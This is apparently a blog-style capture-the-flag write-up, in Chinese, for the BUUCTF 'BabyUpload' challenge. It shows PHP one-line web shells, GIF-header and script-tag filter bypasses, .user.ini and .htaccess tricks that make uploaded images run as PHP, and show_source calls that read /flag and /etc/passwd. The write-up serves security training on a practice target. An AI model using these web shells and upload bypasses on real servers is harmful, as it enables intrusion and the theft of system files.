BUUCTF——[GXYCTF2019]BabyUpload

BUUCTF——[GXYCTF2019]BabyUpload

1.上传嘛,直接丢正常的jpg文件进服务器
在这里插入图片描述
2.发现可以正常上传,并且回显出来啦文件上传的路径
/var/www/html/upload/7df22610744ec51e9cb7a8a8eb674374/1111.jpg

3.尝试上传一句话木马

<?php @eval($POST[123456]);?>

在这里插入图片描述

4.通过上面的回显可以看出来,检测到了php文件,尝试文件头进行绕过

GIF89a

<?php @eval($POST[123456]);?>

在这里插入图片描述

5.还是不得行,推测使用了<?php标签进行检测,尝试绕过
GIF89a
<script language="php">eval($_REQUEST[8])</script>

在这里插入图片描述

6.发现可以成功上传,尝试修改后缀名php,php3,php5,phtml
在这里插入图片描述

7.发现后缀名不能有ph,中间还尝试php%00,发现php版本过高不得行,发现可以上传.user.ini,尝试.user.ini绕过

auto_prepend_file=555.jpg

在这里插入图片描述
8.发现是可以上传的,但是呢无法解析,后面试了.htaccess发现可以,使用.htaccess可以成功getshell

.htaccess文件内容

SetHandler application/x-httpd-php

在这里插入图片描述

9.上传文件,文件内容为

GIF89a
<script language="php">eval($_REQUEST[8])</script>

在这里插入图片描述

10.成功getshell
在这里插入图片描述

11.蚁剑死活连接不上,太致命啦,重启了靶机,重新上传.htaccess

<FilesMatch "jpg">

  SetHandler application/x-httpd-php

</FilesMatch>

在这里插入图片描述

12.重新上传木马文件,还是连接不上

GIF89a
<script language="php">eval($_REQUEST[8])</script>

在这里插入图片描述

13.通过报错信息,发现禁用了系统函数
在这里插入图片描述
14.只能另辟蹊径啦,使用其他函数
show_source()函数

8=show_source('/flag',false);

在这里插入图片描述

15.成功读取文件信息

8=show_source('/etc/passwd',false);

在这里插入图片描述
在这里插入图片描述

相关推荐

  1. <span style='color:red;'>2014</span>

    2014

    2024-04-21 11:30:08      47 阅读
  2. [COCI2018-2019#1] Zamjena 解题记录

    2024-04-21 11:30:08       42 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-21 11:30:08       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-21 11:30:08       101 阅读
  3. 在Django里面运行非项目文件

    2024-04-21 11:30:08       82 阅读
  4. Python语言-面向对象

    2024-04-21 11:30:08       91 阅读

热门阅读

  1. web server apache tomcat11-04-manager 如何管理?

    2024-04-21 11:30:08       37 阅读
  2. npm 常用命令详解

    2024-04-21 11:30:08       41 阅读
  3. C# 匿名方法与扩展方法详解

    2024-04-21 11:30:08       38 阅读
  4. axios的跨越封装

    2024-04-21 11:30:08       33 阅读
  5. 贝叶斯逻辑回归案例和使用场景

    2024-04-21 11:30:08       39 阅读
  6. 事务的隔离级别

    2024-04-21 11:30:08       33 阅读
  7. asp.net core rabbitmq的基本使用

    2024-04-21 11:30:08       37 阅读